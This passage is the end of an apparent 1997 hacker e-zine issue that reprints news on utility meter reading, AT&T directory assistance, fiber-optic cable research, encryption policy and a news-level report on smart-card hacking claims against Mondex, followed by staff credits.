  5390.  
  5391. "It will allow users to analyze their usage patterns, as they do with 
  5392. long-distance phone bills," Mahoney said. "If the toaster is using too much 
  5393. energy, they can reduce their toasting activity." 
  5394.  
  5395. The technology project was inspired by the move toward deregulation in the 
  5396. utility industry, said Teresa Corlew, a spokeswoman for Nashville Electric. 
  5397. Companies are looking for ways to show consumers how they can lower costs; 
  5398. technology is one way to do that. "We want to run the test for a year and 
  5399. then assess the results," she said. "After that, we may roll it out to the 
  5400. entire area." 
  5401.  
  5402. Those participating in the test are volunteers who happen to have PCs in 
  5403. their home and are concentrated in an area of the city that relies primarily 
  5404. on electric service, rather than gas. 
  5405.  
  5406. The voluntary nature of the test may be smart marketing for Nashville 
  5407. Electric. In Roselle, Illinois, a suburb of Chicago, a water meter-reading 
  5408. system was recently installed that employs the telephone network. All 
  5409. residents must comply with the system by January, or they will be fined. But, 
  5410. says Darcy Bretz, a local resident, several people in the suburb don't like 
  5411. the idea because they think that their phones are being tapped and that their 
  5412. privacy is being invaded. 
  5413.  
  5414. Other experiment-minded locales are examining wireless data networks, which 
  5415. will be online for tests in Massachusetts and Rhode Island by early 1998, 
  5416. using a small, low-cost radio device that is hooked to an existing meter. Its 
  5417. hoped that the technology's unobtrusiveness will win over consumers - 
  5418. observers indicate that customer-preference must drive these trials. 
  5419.  
  5420. "This kind of thing is starting to go on all over the industry," said Lori 
  5421. DeMatteis, a senior associate at Metzler Associates, a Chicago-based energy 
  5422. consultant. "There are a lot of different technologies and billing systems 
  5423. that are emerging, but no clear winner yet. There will be several benefits 
  5424. that users will see. There will be increased accuracy in billing, for 
  5425. instance. Also, you won't have to worry about the man entering your yard, and 
  5426. they don't have to worry about your dog." 
  5427.    
  5428. ⌐1993-97 Wired Ventures, Inc.
  5429. ═───────────────────────────────────────────────────────────═
  5430.  
  5431.  AT&T Tests New `00' INFO Directory Assistance Service    
  5432.  September 22, 1997
  5433.  
  5434.  Directory Assistance the Way Customers Really Want It 
  5435.  
  5436.  SEATTLE, Sept. 22 PRNewswire -- AT&T today announced that it will conduct a 
  5437.  market trial of its new AT&T "00" INFO(SM) (Double-0 Info) national 
  5438.  directory assistance service in the Seattle area. Beginning today, AT&T 
  5439.  customers in Seattle will be able to dial "00" to obtain telephone listings 
  5440.  for any place in the United States with one simple phone call -- even if 
  5441.  they don't have the area code or exact city. 
  5442.  
  5443. In marked contrast to the industry trend to provide fully automated directory 
  5444. assistance, AT&T "00" INFO Service features personal, courteous, helpful 
  5445. service from specially trained AT&T information assistants who will stay on 
  5446. the line for the entire call. From the moment they greet the customer by 
  5447. introducing themselves, AT&T assistants are there to help customers simplify 
  5448. their lives, by searching for a directory listing with as little information 
  5449. as a partial name and a locality or state. And AT&T assistants will stay with 
  5450. the customer through the end of the call when they provide the requested 
  5451. information. 
  5452.  
  5453. "We're providing directory assistance the way customers really want it," said 
  5454. Howard McNally, vice president of AT&T Consumer Markets Division. "AT&T is 
  5455. bringing back the personal touch. Not only will we stay on the line with our 
  5456. customers, but we'll do everything within our power to meet their needs -- 
  5457. using enhanced search features to find the listings they want, and even the 
  5458. address and zip code, if that's what they need." 
  5459.  
  5460. In addition to personal service, AT&T "00" INFO also includes several new 
  5461. search capabilities: 
  5462.  
  5463. * A new expanded search capability allows AT&T information assistants to 
  5464. extend a directory search to surrounding communities when they can't find a 
  5465. requested listing in a designated city or town -- even if the caller doesn't 
  5466. know what those communities are. 
  5467.  
  5468. * A key word search function allows AT&T information assistants to search for 
  5469. a business listing when the caller doesn't know the full or exact name of the 
  5470. business. This search will find the listing if the key word appears anywhere 
  5471. in the name. 
  5472.  
  5473. Seattle is one of only five service markets in the United States to be 
  5474. selected to test the new AT&T "00" INFO Service. The other test sites are 
  5475. Minneapolis, Phoenix, Denver and Portland, Ore. 
  5476.  
  5477. AT&T customers in these trial markets need only dial one simple number, "00," 
  5478. from their home phone to reach an AT&T information assistant who will help 
  5479. them find telephone listings anywhere in the United States. This means they 
  5480. no longer need to dial multiple numbers for directory assistance, or know 
  5481. whether the desired number is local or long distance. And since they don't 
  5482. need to know the area code to get a listing, customers no longer need to make 
  5483. two calls for a listing -- the first for the area code, and the second for 
  5484. the telephone number. 
  5485.  
  5486. During the market trial, AT&T is offering the new AT&T "00" INFO Service at 
  5487. the same 95-cent price for two listings that it charges for its conventional 
  5488. directory assistance. In addition, customers can request an unlimited number 
  5489. of listings on a single call. 
  5490.  
  5491. When AT&T customers dial "00" from their home phones, they will hear the 
  5492. familiar AT&T acknowledgment, followed by an automated system prompting them 
  5493. to press "1" for AT&T "00" INFO directory assistance. 
  5494.  
  5495. AT&T "00" INFO Service is also available to AT&T customers in the (CITY) area 
  5496. even when they are away from their residence phone. By dialing 
  5497. 1-800-CALL-ATT, followed by Prompt "4," customers will be connected to AT&T 
  5498. "00" INFO directory assistance. 
  5499.  
  5500. The AT&T "00" INFO directory assistance service trial is limited to listings 
  5501. in the United States. SOURCE AT&T 
  5502.  
  5503. ⌐PR Newswire. All rights reserved. 
  5504. ═───────────────────────────────────────────────────────────═
  5505.  
  5506.  Bellcore Scientists See Cold-Weather Problems (And Possible Solutions) 
  5507.  For Dense WDM Cables    
  5508.  September 22, 1997
  5509.  
  5510.  SAN DIEGO, Calif.--(BUSINESS WIRE)--September 22, 1997--Cold weather 
  5511.  presents important challenges to dense-wavelength-division-multiplexing 
  5512.  technology, but those challenges can be overcome by prudent risk-assessment 
  5513.  and proper network planning, Bellcore scientists revealed today. 
  5514.  
  5515. The scientists, Gabor Kiss, Osman Gebizlioglu, Dean Rader and Casey 
  5516. Wieczorek, published their observations in a paper delivered today at the 
  5517. National Fiber Optic Engineering Conference, here. The paper, "New 
  5518. Developments in Temperature-Induced Cable Loss," is one of a series of 
  5519. studies on fiber-optic cable performance made by Bellcore over the past five 
  5520. years. 
  5521.  
  5522. "We've known for awhile that cold weather changes the internal geometry of 
  5523. fiber-optic cable, and that this change bends the optical fibers in ways they 
  5524. weren't designed to be bent," said Kiss. "However, we also knew that this was 
  5525. something we could live with in equipment operating at 1310 nanometers. With 
  5526. dense WDM transmission, which happens at 1550 nanometers, the loss becomes 
  5527. much worse." 
  5528.  
  5529. Kiss added that some makers of DWDM systems plan to use 1625 nanometers for 
  5530. network supervision. "Our study indicates that this supervision would fail 
  5531. long before the network failed at 1550 nanometers," Kiss said. 
  5532.  
  5533. Finally, Kiss pointed out that extremely cold weather can affect both the 
  5534. "working" and "protected" channels -- that is, the fiber being used and the 
  5535. fiber being held in reserve. "That means that temperature-induced cable loss 
  5536. over a wide geographic area may frustrate a diverse-routing protection 
  5537. scheme," Kiss said. 
  5538.  
  5539. Kiss, Gebizlioglu, Rader and Wieczorek subjected cables to several years of 
  5540. simulated seasonal cycles and monitored the loss in their laboratory in 
  5541. Morristown, New Jersey. They also conducted field tests on cables at 
  5542. Bellcore's research facility in Chester, New Jersey, and in Maine. 
  5543.  
  5544. For equipment suppliers and network operators, Kiss said, this news should be 
  5545. sobering, but not discouraging. 
  5546.  
  5547. "The fact is that there are ways to assess the individual risk faced by 
  5548. particular products in particular environments, and Bellcore is available to 
  5549. assess that risk and work toward a way to minimize it," Kiss said. 
  5550.  
  5551. Kiss and his colleagues are also engaged in writing Bellcore generic 
  5552. requirements for DWDM equipment, and for fiber-optic cable. 
  5553.  
  5554. Bellcore, headquartered in Morristown, New Jersey, is a leading provider of 
  5555. communications software, engineering and consulting services based on 
  5556. world-class research. Bellcore creates business solutions that make 
  5557. information technology work for telecommunications carriers, businesses and 
  5558. governments worldwide. Bellcore has sales offices throughout the United 
  5559. States, Europe, Central and South America, and the Asia-Pacific region. On 
  5560. November 21, 1996, SAIC (Science Applications International Corporation) 
  5561. announced that it had agreed to purchase Bellcore once requisite regulatory 
  5562. approvals had been obtained. More information about Bellcore is available at 
  5563. its Web site, www.bellcore.com 
  5564.  
  5565. ⌐Business Wire.
  5566. ═───────────────────────────────────────────────────────────═
  5567.  
  5568.  Is the Internet a Matter of National Security? 
  5569.  Monday, September 22, 1997
  5570.  
  5571.  Gary Chapman Is Director of the 21st Century Project at the University of 
  5572.  Texas at Austin. he Can Be Reached at Gary.chapman@mail.utexas.edu
  5573.  
  5574.  Slowly but surely, step by incremental step, the Internet is being pulled 
  5575.  into the forbidding black hole of "national security." Several recent 
  5576.  developments have raised warning flags that the global communications 
  5577.  network is now regarded as the turf of the people and institutions left over 
  5578.  from the Cold War. 
  5579.  
  5580. On Sept. 5, the President's Commission on Critical Infrastructure 
  5581. (http://www.pccip.gov/) released a report calling for a huge increase in 
  5582. funding for protection of the "critical systems" of the nation, including 
  5583. electric power distribution, telecommunications, banking and finance, water, 
  5584. transportation, oil and gas storage and transportation, emergency services 
  5585. and government services. 
  5586.  
  5587. The commission recommended doubling the current federal R&D budget of $250 
  5588. million for protecting these systems, with increases of $100 million each 
  5589. year after 1999 to $1 billion per year by 2004. 
  5590.  
  5591. The commission's chairman, retired Air Force Gen. Robert T. Marsh, told the 
  5592. Associated Press ([Company Capsule]), "These are the life-support systems of 
  5593. the nation. They're vital, not only for day-to-day discourse, they're vital 
  5594. to national security. They're vital to our economic competitiveness 
  5595. worldwide, they're vital to our very way of life." 
  5596.  
  5597. Ten days ago, the House Select Committee on Intelligence in the U.S. Congress
  5598. voted to require that all technology for encrypting data provide a "key" that 
  5599. could be obtained by law enforcement or national security officials. The vote
  5600. reversed a trend toward relaxing such controls--one of the chief political 
  5601. goals of the high-tech industry. Committee members cited the warnings they 
  5602. received in "classified briefings" as the main reason for their vote. 
  5603.  
  5604. Later this month there will be a high-level conference in Chicago titled "The 
  5605. Information Revolution: Impact on the Foundations of National Power," hosted 
  5606. by the Center for Strategic and International Studies (http://www.csis. org) 
  5607. and featuring many of the graybeards of the national security state, such as 
  5608. arms control negotiator Paul Nitze, former Georgia Sen. Sam Nunn, Bob Galvin 
  5609. of Motorola and ubiquitous conservative pundit William Bennett. 
  5610.  
  5611. This signifies the discovery of the Internet by the highest mandarins of the 
  5612. American power establishment, and the title of the conference frames the 
  5613. subject in an ominous fashion. 
  5614.  
  5615. This summer I was visited by, and gave a briefing to, a delegation of 
  5616. Washington experts from the intelligence community--about a dozen gentlemen 
  5617. from the CIA, the National Security Agency, the Treasury Department and the 
  5618. Pentagon. It was at this meeting that I first heard the explicit statement 
  5619. that the Internet is now regarded as a critical national asset that these 
  5620. agencies believe needs their protection and attention. 
  5621.  
  5622. The Internet, of course, has always been linked to the Defense Department--it 
  5623. began, in the late 1960s, as a defense research project, and the Defense 
  5624. Advanced Research Projects Agency was its overseer until 1983. 
  5625.  
  5626. But the Pentagon never considered the Internet (or Arpanet, as it was known 
  5627. until 1983) to be a "critical" communications network. There is a persistent 
  5628. myth that the Internet was developed in a particular way to sustain damage in 
  5629. a nuclear attack, but this was never true, as is pointed out in the 
  5630. definitive history of the Net, "When Wizards Stay Up Late," by Katie Hafner 
  5631. and Matt Lyon. The Internet was always a research project and chiefly a means 
  5632. to pass information between incompatible computer systems. 
  5633.  
  5634. But now the Internet is increasingly embedded in the nation's economic life. 
  5635. More and more commerce is conducted on the Internet. Basic utilities, like 
  5636. power and water, are beginning to use Internet-related computer networks for 
  5637. monitoring services. The federal government is increasingly dependent on 
  5638. computer-mediated communication over networks. 
  5639.  
  5640. Many people in positions of power see the Internet as a precursor to a vast 
  5641. global infrastructure of commerce and communication that the U.S. is likely 
  5642. to dominate. Whatever global empire the U.S. will have in the 21st century is 
  5643. likely to depend on this technology. 
  5644.  
  5645. This global character of the Internet raises an interesting paradox for the 
  5646. national security community. The Internet promises easy global commerce for 
  5647. companies, no matter where they're physically located. These companies have 
  5648. an intense interest in computer security, but they tend to be wary, if not 
  5649. hostile, to national security imperatives. 
  5650.  
  5651. When the Reagan administration, in the mid-1980s, attempted to implement a 
  5652. new security classification for digital information called "sensitive not 
  5653. secret," the private sector rebelled, and the proposal was killed. In the 
  5654. same period, manufacturers of supercomputers and high-end workstations chafed 
  5655. at Pentagon export controls. 
  5656.  
  5657. Now the battle is being waged over encryption, and last week's defeat for 
  5658. business may raise the stakes. The House committee vote "is a disaster," said 
  5659. Rebecca Gould, vice president for public policy at the Business Software 
  5660. Alliance (http://www.bsa.org). 
  5661.  
  5662. Business leaders outside the defense industry have long had a strained 
  5663. relationship with the spooks and Dr. Strangeloves of the national security 
  5664. community. During World War I, for example, Henry Ford and other major 
  5665. industrialists were pacifists and globalists who railed against militarism, 
  5666. jingoism and paranoia. 
  5667.  
  5668. The military responded by accusing Ford and his supporters of greed, 
  5669. obsession with profits, and a lack of patriotism. For most of the first half 
  5670. of this century, U.S. business leaders believed the military and its 
  5671. attitudes were the chief enemies of commerce, which they regarded as the 
  5672. foundation of world peace. 
  5673.  
  5674. These days, with the Internet firmly in the hands of the private sector, the 
  5675. noises coming from the Pentagon, the CIA and the FBI are much more 
  5676. conciliatory--they promise to "work with industry" to help "secure" the 
  5677. nation's "critical systems." 
  5678.  
  5679. But this contemporary savoir-faire should make us even more nervous. Looming 
  5680. before us is the absorption of the free and open Internet into the gloomy 
  5681. abyss of classified information, black budgets, secrecy, surveillance, 
  5682. shadowy characters, macho patriotic posturing, and all the other trappings of 
  5683. "national security." 
  5684. ═───────────────────────────────────────────────────────────═
  5685.  
  5686.  Hacking Smart Card Chips: At What Cost? 
  5687.  09/25/97
  5688.  By Mo Krochmal, TechWeb          
  5689.  
  5690.  LONDON -- Mondex International, developer of one of the world's leading 
  5691.  electronic cash cards, has come under fire from a security expert for 
  5692.  allegedly underestimating the ability of criminals to hack into its 
  5693.  products.
  5694.  
  5695. The E-cash pioneer, which is controlled by MasterCard International, 
  5696. announced Monday its latest chip, the H8/3109 device developed by Hitachi. 
  5697. E-cash cards let users pay for goods and services with electronic tokens that 
  5698. can be freely exchanged for paper money and coins money in banks.
  5699.  
  5700. Mondex, which said it plans to market 5 million E-cash cards by the end of 
  5701. 1998, said in a statement that the chip had undergone "fault-analysis 
  5702. interrogation by some of the leading chip and security laboratories in the 
  5703. world." 
  5704.  
  5705. But Mondex was criticized Monday by a leading academic cryptography expert 
  5706. for underestimating the risks of the card being hacked. Ross Anderson, a 
  5707. professor at Cambridge University in England, said the technical 
  5708. sophistication of the security measures taken by Mondex do not reflect the 
  5709. high level of technology and skills available to criminals.
  5710.  
  5711. "I think Mondex picked an inappropriate time to go for a world launch. There 
  5712. are too many new attacks -- people are looking at things all the time," 
  5713. Anderson said. "If something is released today, there is no guarantee it will 
  5714. be good three months from now. In five or 10 years, things will have 
  5715. stabilized."
  5716.  
  5717. The Mondex card was the subject of rumors earlier this month that it had been 
  5718. successfully hacked, following a presentation at the Eurocrypt cryptography 
  5719. conference this summer. The Eurocrypt presentation showed that the surface 
  5720. wiring of a silicon chip, which was not identified by name, could be 
  5721. manipulated in a way that allowed access to the information stored inside.
  5722.  
  5723. According to a document posted on the Web, Mondex was the subject of the 
  5724. attack described at Eurocrypt. The anonymous posting said an ion beam was 
  5725. used to reconnect a link on the surface of a Mondex chip, letting the memory 
  5726. be output to the card's serial port. Mondex denied the claim Wednesday. 
  5727.  
  5728. John Beric, head of security at Mondex, said the type of attack described at 
  5729. Eurocrypt had not been state-of-the-art for many years. He added that the 
  5730. Mondex chip design was adapted in 1992 to take into account such an attack. 
  5731. Mondex chips are still tested for attacks such as those described in the 
  5732. anonymous posting, he said.
  5733.  
  5734. "No system is perfect. We go on the contingency that something horrible is 
  5735. going to happen, and we have contingency plans so we can tolerate a loss and 
  5736. stem it where we can," Beric said.
  5737.  
  5738. Mondex and chip manufacturers argue that the high cost of hacking into a 
  5739. single chip, " a process which requires skill and expensive equipment," means 
  5740. hacking cards is uneconomic, because breaking one chip's security doesn't 
  5741. necessarily breaking into other chips.
  5742.  
  5743. "Any chip can be compromised, the question is: How much money does it cost to 
  5744. compromise the chip? The goal is to make the cost of compromising the chip 
  5745. greater than the value of compromising the chip," said Thomas Horton, smart 
  5746. card microchip product manager at Hitachi. 
  5747.  
  5748. But some academics said the chip industry's cost-benefit argument is flawed.
  5749.  
  5750. Hacking, or reconfiguring a chip, "is a routine process," according to John 
  5751. Orloff, a professor at the Laboratory for Ion Beam Research and Applications 
  5752. at the University of Maryland, in College Park.
  5753.  
  5754. Orloff said a technician with access to a focused ion-beam machine and 
  5755. intimate knowledge of a chip could "lay down a few microns" and reconstitute 
  5756. something such as a severed link on a chip in just 30 minutes. The machinery 
  5757. to do something like that is not cheap, Orloff said, but it is common in 
  5758. semiconductor labs and universities. 
  5759.  
  5760. ⌐CMP Media, 1996.
  5761. ═───────────────────────────────────────────────────────────═
  5762.  
  5763.  House Panel Rejects Crypto Amendment
  5764.  by Rebecca Vesely 
  5765.  
  5766.  24.Sep.97.PDT -- After nearly four hours of wrangling, the House Commerce 
  5767.  Committee today passed a market-friendly encryption bill, voting down an 
  5768.  amendment 35-16 that would have imposed strict domestic controls on 
  5769.  encryption. 
  5770.  
  5771. "Throughout this debate in the past few weeks, the members have been swinging 
  5772. towards privacy," Representative Edward Markey (D-Massachusetts) told 
  5773. reporters after the vote. "I think that's going to happen in every single 
  5774. public debate that's held." 
  5775.  
  5776. The Security and Freedom through Encryption Act, sponsored by Representative 
  5777. Bob Goodlatte (R-Virginia), passed in a 40-11 vote with an amendment that 
  5778. strengthens penalties for using encryption in a crime from five years to 10. 
  5779. The amendment, sponsored by Markey and Representative Rick White 
  5780. (R-Washington), also establishes a "national encryption technology center" in 
  5781. which companies would work with law enforcement on encryption technologies, 
  5782. although where funding for the center would come from or who would 
  5783. participate is undefined. 
  5784.  
  5785. But the committee and the House remain deeply divided over just how much 
  5786. access law enforcement should have to digital communications. Despite two 
  5787. weeks of 'round-the-clock staff work and lobbyists haunting members and 
  5788. aides, panel members could not find a compromise between law enforcement and 
  5789. privacy concerns. In fact, many could not understand why technology can't 
  5790. sort the whole mess out. 
  5791.  
  5792. "If these cryptographers are so smart, why don't they invent some decryption 
  5793. devices for law enforcement?" asked Representative Mike Oxley (R-Ohio), a 
  5794. former FBI agent and chief sponsor of the pro-law-enforcement amendment that 
  5795. failed. 
  5796.  
  5797. Arguments for the need for law enforcement to access encrypted data surfaced 
  5798. again and again, as members pointed out that drug cartels use strong 
  5799. encryption to secure their data. 
  5800.  
  5801. "Computers and the Internet have become fertile ground for terrorists, drug 
  5802. cartels, and child pornographers," said Representative Greg Ganske (R-Iowa). 
  5803.  
  5804. But the committee majority appeared to be swayed by the argument that the 
  5805. wide availability of strong encryption on the global market made Oxley's 
  5806. proposal - to prevent all Americans from using encryption without immediate 
  5807. access to plaintext by law enforcement - illogical. 
  5808.  
  5809. "This is the Prohibition of the electronic age," said Representative Anna 
  5810. Eshoo (D-California). "People drank anyway. Liquor was out there, and it was 
  5811. easy to make." 
  5812.  
  5813. Markey said the Oxley proposal's requirement for easy access to encrypted 
  5814. data could become the "Achilles' heel of electronic commerce." 
  5815.  
  5816. The bill's next test: the House Rules Committee, which will decide in what 
  5817. form, if any, the bill will reach the House floor. Two weeks ago, the House 
  5818. Intelligence and National Security committees passed a series of amendments, 
  5819. one similar to Oxley's, that would undercut the intent of Goodlatte's 
  5820. original legislation. 
  5821.  
  5822. Rules Committee chair Gerald Solomon (R-New York) sent a letter to Commerce 
  5823. Committee members warning them that he will block any variation on the 
  5824. Goodlatte bill that does not carry the strong key recovery provision Oxley 
  5825. tried to get passed. 
  5826.  
  5827. Goodlatte told reporters after the Commerce panel session that he is going to 
  5828. work immediately to try to get the bill over the next hurdle. 
  5829.  
  5830. "We are certainly going to be working with the leadership and the Rules 
  5831. Committee to make sure everybody who has an opinion about this gets heard and 
  5832. that we design a bill that will have strong bipartisan support," he said. 
  5833.  
  5834. Goodlatte still faces a long road. The bill has 252 House co-sponsors - a 
  5835. solid majority should it reach the floor. But it would still have to be 
  5836. reconciled with radically different Senate legislation and gain President 
  5837. Clinton's signature before it becomes law. 
  5838.  
  5839. ⌐1993-97 Wired Ventures, Inc.
  5840. ═───────────────────────────────────────────────────────────═
  5841.  
  5842. Internet Addict Placed on Probation in Ohio - from FH
  5843.  
  5844. CINCINNATI (Reuter) - An Ohio woman described by police as an Internet addict
  5845. was placed on two years probation Tuesday for neglecting her three small
  5846. children while spending several hours a day on her home computer. 
  5847.  
  5848. Police said Sandra Hacker, 24, kept her three children in deplorably filthy
  5849. conditions in a separate room of her apartment, while devoting her time to the
  5850. Internet. 
  5851.  
  5852. Judge William Mallory of Cincinnati Municipal Court also fined Hacker $100 and
  5853. court costs and suspended a 180-day jail sentence on condition that she take
  5854. parenting classes under supervision of probation officials. 
  5855.  
  5856. The children, ages 2, 3, and 5, have been in the custody of her estranged
  5857. husband since she was arrested on the neglect charges earlier this year, her
  5858. attorney, John Burlew, told Reuters. 
  5859.  
  5860. Permanent custody rights will be determined in a divorce proceeding in which
  5861. the couple is now involved, he said.
  5862.  
  5863. ═────────────────────────────────────────────────────────────────────────────═
  5864.                  ┌--────────────────────────┐               
  5865.                  : thtj communications, inc.│               
  5866.                  ·-──-──────────────────────┘
  5867.  
  5868. Editor-in-Chief: Scud-O, scud@thtj.com
  5869. Executive Editor: KungFuFox, mazer@cycat.com
  5870. Submissions Editor: Keystroke, keystroke@thepentagon.com
  5871. Distribution Editor: Malhavoc, malhavoc@thtj.com
  5872. Site Manager: Scud-O, scud@thtj.com
  5873. Content Editors: FH, fh@sinnerz.com
  5874.               Malhavoc, malhavoc@thtj.com
  5875.               Phrax,  phrax@thtj.com
  5876.  
  5877. Staff Writers: memor, memor@thtj.com
  5878.             ArcAngel, arcangel@thtj.com
  5879.             lurk3r,
  5880.             Shok,
  5881.             The Messiah, tm@sinnerz.com
  5882.  
  5883. ═────────────────────────────────────────────────────────────────────────────═
  5884.        
  5885.        A-th-a-th-a-th-a-that's all folks!
  5886.                     
  5887.                     ┌--───────────────────────┐
  5888.                     :  - End of Communique -  │    
  5889.                     ·-──-─────────────────────┘
  5890.  
  5891.